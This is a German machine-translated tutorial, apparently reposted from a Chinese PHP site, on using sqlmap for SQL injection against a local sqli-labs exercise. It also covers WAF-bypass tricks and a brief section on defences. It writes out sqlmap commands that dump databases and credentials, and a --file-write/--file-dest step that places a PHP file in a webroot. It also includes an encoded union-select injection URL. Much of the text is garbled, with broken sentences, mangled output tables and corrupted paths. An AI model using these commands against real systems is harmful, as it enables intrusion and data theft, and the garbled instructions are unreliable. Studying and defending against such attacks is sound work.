1. Ich habe bereits einige grundlegende Aussagen zur SQL-Injektion erwähnt, aber die manuelle Injektion ist sehr mühsam, das können wir Verwenden Sie sqlmap. Dieses leistungsstarke SQL-Injection-Tool wird zum Abrufen von Daten verwendet und Ausnutzen von SQL-Injection-Schwachstellen und
Zugriff auf den Server der Datenbank. Es verfügt über eine sehr leistungsstarke Erkennungs-Engine, einen Penetrationstester mit mehreren Funktionen, Zugriff auf das zugrunde liegende Dateisystem durch Datenbank-Fingerprinting und Befehlsausführung über eine Out-of-Band-Verbindung. Offizielle Website: sqlmap.orgMySQL, Oracle, PostgreSQL , Microsoft SQL Server, MicrosoftAccess, IBM DB2, SQLite, Firebird, Sybase und SAP MAXDB.
(3)#Unterstützung mehrerer Injektionsmethoden
#UNION-Abfrage-SQL-Injection (kann mit Abfrageinjektion kombiniert werden)
#Boolesche blinde SQL-Injektion (Boolesche Injektion)
#Zeitbasierte blinde SQL-Injektion (basierend auf Zeitverzögerungsinjektion)#Gestapelte Abfragen SQL-Injektion (mehrere Anweisungen). Abfrageinjektion)
1.2 SQLmap-Installation und Umgebungsaufbau
1. Hauptschritte der SQLmap-Installation
Python-Download-Adresse: https://www.python.org/downloads/release/python-2715/)
#🎜 🎜##🎜 🎜# sqlmap ist besser mit Python2 kompatibel. (2) Installieren Sie Python nicht im chinesischen Pfad und fügen Sie Python zur Umgebungsvariablen hinzu ##🎜🎜 #
(3) Laden Sie sqlmap herunter und installieren Sie es. Ändern Sie das Installationsverzeichnis in C:UsersAdministratorsqlmap ( 4) Testen Sie die Python-Umgebung: Geben Sie die cmd-Befehlszeile ein und geben Sie # 🎜🎜#python,ein. Wenn die folgenden Aufforderungen angezeigt werden, ist die Installation erfolgreich
C:UsersAdministrator>python
Python 2.7.16 #🎜 🎜 #(v2.7.16:413a49145e, 4. März 2019, 01:37:19) [MSC v.1500 64 Bit (AMD64)] auf Win32
Geben Sie „Hilfe“, „Copyright“, „Credits“ oder „Lizenz“ ein, um weitere Informationen zu erhalten.>>>
(5) sqlmap-Test: Geben Sie die cmd-Befehlszeile ein und geben Sie sqlmap.py -h (Notizpfad) ein information
#🎜 🎜 #1.3 Allgemeine Parameter von sqlmap
#(1) Bibliotheksnamen, Spaltennamen, Berechtigungen abrufen
--dbms mysql #Datenbank angeben type
--passwords #Get das Datenbankpasswort (kann nur mit Erlaubnis gelesen werden)
-D Datenbankname -T Tabellenname -C Spalte_1,Spalte_2 --dump
# 🎜🎜#--users #Spalte Datenbankverwaltungsbenutzer Wenn der aktuelle Benutzer die Berechtigung hat, die Tabelle mit allen Benutzern zu lesen, können alle Verwaltungsbenutzer aufgelistet werden.#🎜🎜 #
#(2) Geben Sie das Suffix und das Suffix an:
#sqlmap kann viele Interferenzzeichen nicht erkennen, Sie können das Präfix und Suffix beim Schließen manuell angeben
Wählen Sie * aus Benutzern aus, bei denen id=((('1'))) und 1=1 ist
# - -prefix=PREFIX Das Präfix der Nutzlastzeichenfolge einfügen
#–suffix=SUFFIX Das Suffix der Nutzlastzeichenfolge einfügen
z. B.: sqlmap -u „www.target.com/index.php?id=1“ -p id -- Präfix "'))"
--Suffix "AND ('1'='1"
#(3) Ergebnisse exportieren:
sqlmap -u "www.a.com/1.php ? id=1“ --file-write=“d:/1.txt“
--file-dest=“E:/wwwroot/web/one.php“
--batch vollautomatisch
--start=Startnummer--stop=Endnummer
--dump Daten exportieren
--dump-all Alle Daten exportieren
--purge-output/ --purge Löschen Sie das Cache-Verzeichnis
--sql-shell Rebound-SQLShell, ähnlich dem SQL-Abfrageanalysator. Standardpfad.sqlmap (klicken Sie auf SQLMap)
#Less-1--Less65 allgemeine Anweisung ( Diese Sätze sind die am häufigsten verwendeten Parameter und müssen verstanden werden)
#(1) Alle Bibliotheksnamen abrufen
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less -1? id=1" --dbs --dbms=mysql --batch
# Analyse:
-u gefolgt von URL bedeutet die Test-URL
--dbs bedeutet alle Datenbanken abrufen
--dbms bedeutet, dass die Der angegebene Datenbanktyp ist MySQL.
--batch bedeutet, dass er automatisch abgerufen wird angegebene Datenbank als Sicherheitsspaltennamen in der Benutzertabelle
-D Sicherheit -T Benutzer -C Benutzername, Passwort --dump #Erhalten Sie die Dateninformationen der Benutzernamen- und Passwortfelder in der Sicherheitsbibliothek, Benutzertabelle, --dump bedeutet Anzeigen die Ergebnisse:
#(2) Den aktuellen Bibliotheksnamen abrufen
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch
#Ergebnis:aktuelle Datenbank: ' security'
#(3) Holen Sie sich den aktuellen Tabellennamen
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id= 1" -D security --tables -- batch
#Results:
Database: security[4 tables]+----------+
| emails |
| referers || uagents ||. Benutzer |
+-- --------+
#(4) Holen Sie sich den aktuellen Spaltennamen
#Ergebnis:
Datenbank: Sicherheit
Tabelle: Benutzer
[3 Spalten]
+----- -----+----- --------+
|. Typ |
+---------- --+
|. int(3) |
+------- ------+
# (5) Rufen Sie den Benutzernamen und das Passwort in der Benutzertabelle ab
#Ergebnis:
Datenbank: Sicherheit
Tabelle: Benutzer
[13 Einträge]
+-------- --+---------- --+
|. Passwort |
+----------+-----------+
| Dumm |
|. I-töte dich |
|. dumm | admin |. admin1 |
|. admin4 | ---------+
Teil 2: WAF-Bypass für SQL-Injection
2.1 Einführung in die WAF-Bypass-Methode für SQL-Injection
Hinweis: Hier sind nur Beispiele für Bypass-Methoden, das tatsächliche Szenario ist mehr kompliziert. Mehrere Bypass-Methoden können gemischt und verwendet werden.
1. Wie können wir die SQL-Injektion verhindern? ) Filter und/oder
#(3) Filterauswahl oder Vereinigung
#(4) Filter-Blacklist
2. Welche Möglichkeiten gibt es, gefiltert und/oder zu umgehen?
#( 1) MySQL unterscheidet nicht zwischen Groß- und Kleinschreibung und kann korrekt ausgeführt werden ===>Deformation von Groß- und Kleinbuchstaben verwenden
preg_replace(mixed $pattern, Mixed $replacement, Mixed $subject) : Führen Sie eine Suche und Ersetzung mit regulären Ausdrücken durch.
$pattern: Das zu suchende Muster, das eine Zeichenfolge oder ein Array von Zeichenfolgen sein kann.
#(3) Umgehen von Kommentarzeichen:
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273
(1) Quellcode-Analyse: Sie können sehen, dass das oder oder und durch leer ersetzt wird
(1) Verwenden Sie %0a als Leerzeichen
4 )
Teil 3: SQL-Injection-Verteidigung
3.1 SQL-Injection-Verteidigungsmethode 1. Allgemeine Schutzmaßnahmen:
#(1), Fehlermeldungen ausschalten: display_errors= im PHP Konfigurationsdatei php.ini Off#(2), magische Anführungszeichen (gleicher Effekt wie Addslashes): Wenn magic_quotes_gpc=On in php.ini. Alle einfachen Anführungszeichen ('), doppelten Anführungszeichen ("), Backslashes () und NUL (NULL-Zeichen) in den übermittelten Variablen werden automatisch in Escape-Zeichen mit Backslashes #(3) umgewandelt und die Daten werden verarbeitet. Filterung: Für Filtern Sie beispielsweise gängige Schlüsselwörter wie and/or/union #(4) heraus, steuern Sie die Benutzerberechtigungen für die Verbindung mit der Datenbank: Jede Bibliothek legt einen Administrator für eine einzelne Bibliothek fest, verwenden Sie keine Root-Berechtigungen
#(5), Vorverarbeitung und Parametrisierung (PDO): Verarbeiten Sie die vom Benutzer übergebenen Parameter und geben Sie einen booleschen Wert zurück, anstatt die Daten einfach zu „spleißen“, wodurch SQL-Injection vermieden wird.Das obige ist der detaillierte Inhalt vonSo analysieren Sie die SQLMap- und SQLi-Injection-Abwehr. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!